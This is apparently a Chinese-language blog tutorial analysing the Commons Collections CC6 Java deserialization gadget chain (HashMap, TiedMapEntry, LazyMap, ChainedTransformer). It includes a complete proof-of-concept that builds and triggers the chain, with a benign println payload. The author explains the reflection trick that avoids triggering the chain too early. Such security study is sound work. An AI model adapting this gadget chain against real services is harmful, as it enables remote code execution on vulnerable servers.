CC6_TiedMapEntry 链反序列化

CC6_TiedMapEntry 链反序列化

前言

import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.map.LazyMap;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6Demo {
    public static void main(String[] args) throws Exception {
        // 1. 构造 ChainedTransformer 链,打印信息验证漏洞触发
        ChainedTransformer chain = new ChainedTransformer(new org.apache.commons.collections4.Transformer[]{
            new ConstantTransformer(System.class),
            new InvokerTransformer("getField", new Class[]{String.class}, new Object[]{"out"}),
            new InvokerTransformer("get", new Class[]{Object.class}, new Object[]{null}),
            new InvokerTransformer("println", new Class[]{String.class}, new Object[]{"CC6 反序列化漏洞触发成功!"})
        });

        // 2. 先创建 LazyMap,使用无害的 factory
        Map<Object, Object> lazyMap = LazyMap.lazyMap(new HashMap<>(), new ConstantTransformer(1));

        // 3. 创建 TiedMapEntry,将 key 设置为任意值
        TiedMapEntry entry = new TiedMapEntry(lazyMap, "test");

        // 4. 创建 HashMap 并 put entry
        Map<Object, Object> hashMap = new HashMap<>();
        hashMap.put(entry, "value");

        // 5. 反射修改 lazyMap 的 factory 为恶意的 chain
        Field factoryField = LazyMap.class.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(lazyMap, chain);

        // 6. 清除 LazyMap 内部缓存,确保反序列化时键不存在
        // 注意:LazyMap 继承自 AbstractMapDecorator,内部 map 字段在父类中
        Field mapField = LazyMap.class.getSuperclass().getDeclaredField("map");
        mapField.setAccessible(true);
        Map<?, ?> innerMap = (Map<?, ?>) mapField.get(lazyMap);
        innerMap.clear();
        System.out.println("已清除 LazyMap 内部缓存");

        // 验证 factory 是否已正确设置
        Object factory = factoryField.get(lazyMap);
        System.out.println("LazyMap factory 类型: " + factory.getClass().getName());

        // 7. 序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(hashMap);
        oos.close();

        System.out.println("序列化完成,字节长度: " + baos.size());

        // 8. 反序列化,触发漏洞
        System.out.println("反序列化开始...");
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        Object obj = ois.readObject();
        ois.close();

        System.out.println("反序列化完成: " + obj);

        // 9. 验证漏洞触发链
        System.out.println("\n=== 验证漏洞触发链 ===");
        
        // 创建新的 LazyMap 和 TiedMapEntry 来验证触发链
        Map<Object, Object> newLazyMap = LazyMap.lazyMap(new HashMap<>(), chain);
        TiedMapEntry newEntry = new TiedMapEntry(newLazyMap, "test2");
        
        System.out.println("触发 TiedMapEntry.hashCode()...");
        newEntry.hashCode();
        
        System.out.println("\n=== 漏洞触发链验证完成 ===");
    }
}

这是本次分析CC6反序列化所需要的代码

这个链子和CC1 LazyMap有什么区别?

LazyMap链依赖 AnnotationInvocationHandler 在反序列化时遍历成员变量触发 LazyMap.get(),但该入口在 JDK 8u71 后被修复,导致链失效;而 CC6 改用 HashMap 反序列化时自动计算 TiedMapEntry 的 hashCode(),进而调用 LazyMap.get(),不依赖特定 JDK 版本,兼容性更好,但需要在构造时额外通过反射删除 LazyMap 中已缓存的 key,以确保反序列化时能触发factory.transform()。

入口出发点

CC1 (LazyMap)入口是 AnnotationInvocationHandler 的 readObject。

CC6 入口是 HashMap 的 readObject,通过 TiedMapEntry 作为桥梁。

Gadget Chain

HashMap.readObject()
  -> HashMap.hash(key)
    -> TiedMapEntry.hashCode()
      -> TiedMapEntry.getValue()
        -> LazyMap.get(key)
          -> factory.transform(key)      // 此处触发恶意 Transformer
            -> ChainedTransformer.transform()
              -> ConstantTransformer
              -> InvokerTransformer...
                -> 命令执行

环境说明

JDK 版本 :JDK 1.8.0_65
Commons Collections 版本 :4.0

漏洞分析

第一层

ChainedTransformer chain = new ChainedTransformer(new org.apache.commons.collections4.Transformer[]{
    new ConstantTransformer(System.class),
    new InvokerTransformer("getField", new Class[]{String.class}, new Object[]{"out"}),
    new InvokerTransformer("get", new Class[]{Object.class}, new Object[]{null}),
    new InvokerTransformer("println", new Class[]{String.class}, new Object[]{"CC6 反序列化漏洞触发成功!"})
});

此处和CC1的是一样的就不过多赘述了。

第二层

// 2. 先创建 LazyMap,使用无害的 factory
Map<Object, Object> lazyMap = LazyMap.lazyMap(new HashMap<>(), new ConstantTransformer(1));

// 3. 创建 TiedMapEntry,将 key 设置为任意值
TiedMapEntry entry = new TiedMapEntry(lazyMap, "test");

// 4. 创建 HashMap 并 put entry
Map<Object, Object> hashMap = new HashMap<>();
hashMap.put(entry, "value");

这里就是CC6相比CC1的最精妙的改动,这里加入了TiedMapEntry构造一种延迟触发的策略,用来欺骗本地JVM,防止 Payload 还没构造完成就触发了恶意代码。

为什么这么说呢让我们来梳理一下

我们首先回顾一下在 CC1(LazyMap 链)中,我们构造 Payload 时通常先创建 LazyMap,然后将其交给 AnnotationInvocationHandler,最后序列化。这个过程不会意外触发 LazyMap.get(),因为 AnnotationInvocationHandler 的构造和序列化都不需要调用 get。

但是如果我们CC6改用了 HashMap 作为入口

// 若直接使用恶意 factory,构造时就会触发命令
Map<Object, Object> lazyMap = LazyMap.lazyMap(new HashMap<>(), chain); // 恶意链
TiedMapEntry entry = new TiedMapEntry(lazyMap, "test");
Map<Object, Object> hashMap = new HashMap<>();
hashMap.put(entry, "value"); // 这里会立即执行命令

HashMap 需要确定将 entry 这个键放在哪个桶里,所以必须先调用 entry.hashCode() 来获取哈希值。

我们来看一下hashCode() 方法的定义

public int hashCode() {
        final Object value = getValue();
        return (getKey() == null ? 0 : getKey().hashCode()) ^
               (value == null ? 0 : value.hashCode());
    }

但是 getValue() 方法是这样的

public Object getValue() {
    return map.get(key);
}

所以 hashCode() 实际会调用 map.get(key),这里的 map 就是你传入的 LazyMap,key 就是构造 TiedMapEntry 时指定的内容。

hashMap.put(entry, "value")
  → entry.hashCode()
    → entry.getValue()
      → lazyMap.get("test")
        → 如果 "test" 不在缓存中,调用 factory.transform("test")
          → 若 factory 是 ChainedTransformer,则执行命令

第三层

// 5. 反射修改 lazyMap 的 factory 为恶意的 chain
Field factoryField = LazyMap.class.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap, chain);

// 6. 清除 LazyMap 内部缓存,确保反序列化时键不存在
// 注意:LazyMap 继承自 AbstractMapDecorator,内部 map 字段在父类中
Field mapField = LazyMap.class.getSuperclass().getDeclaredField("map");
mapField.setAccessible(true);
Map<?, ?> innerMap = (Map<?, ?>) mapField.get(lazyMap);
innerMap.clear();   // 清空所有缓存,包括 key "test"
System.out.println("已清除 LazyMap 内部缓存");

// 验证 factory 是否已正确设置
Object factory = factoryField.get(lazyMap);
System.out.println("LazyMap factory 类型: " + factory.getClass().getName());

这一段主要的作用是通过反射将ChainedTransformer替换掉原先为了防止意外发生的 factory ,并且清除了缓存。

为什么要清除缓存呢?

让我们回看代码

public Object get(Object key) {
    // 检查底层的 Map 缓存里是否已经有了这个 key
    if (map.containsKey(key) == false) {
        // 【关键点】只有不存在时,才会调用 factory 里的 Transformer!
        Object value = factory.transform(key); 
        map.put(key, value); // 然后把结果存进去,下次就不调了
        return value;
    }
    // 如果 key 已经存在,直接返回缓存里的值,不执行 transform
    return map.get(key);
}

这里是LazyMap 内部的源码逻辑,重点在于Map内部为空的时候我们的整套攻击链子才能实现,但是我们之前的代码出现了问题。

Map<Object, Object> hashMap = new HashMap<>();
hashMap.put(entry, "value");

这里产生了一系列的连锁反应

1.HashMap 调用 entry.hashCode()。

2.entry 调用 lazyMap.get("test")。

3.lazyMap 发现没有 "test",于是调用了当时那个无害的 ConstantTransformer(1)。

最终我们会发现lazyMap内部的Map存入了一个键值对:{"test": 1}。。如果不清除缓存,在服务器发序列化的时候,由于Map内部已经存在test所以就不会在调用ChainedTransformer了。

灵魂思考

1. 问题:HashMap.readObject 和 TiedMapEntry.hashCode 的行为在不同 JDK 版本中是否存在细微差异?

2. 问题:HashMap.readObject 究竟是如何处理每个键的?如果键是其他对象,也会调用其 hashCode 吗?

3. 问题:清除了 LazyMap 内部的 Map,但 TiedMapEntry 对象已经序列化,它的 key 和 map 引用是如何保存的?

3.1 追问:反序列化后这些引用是否还指向同一个 LazyMap 实例?如果没有 innerMap.clear(),反序列化时还会触发命令吗?

4.为什么不能一开始就直接用 ChainedTransformer 作为 factory?非要先用无害 factory,put 之后再反射替换?

posted @ 2026-05-16 13:27  ThorneYe  阅读(30)  评论(0)    收藏  举报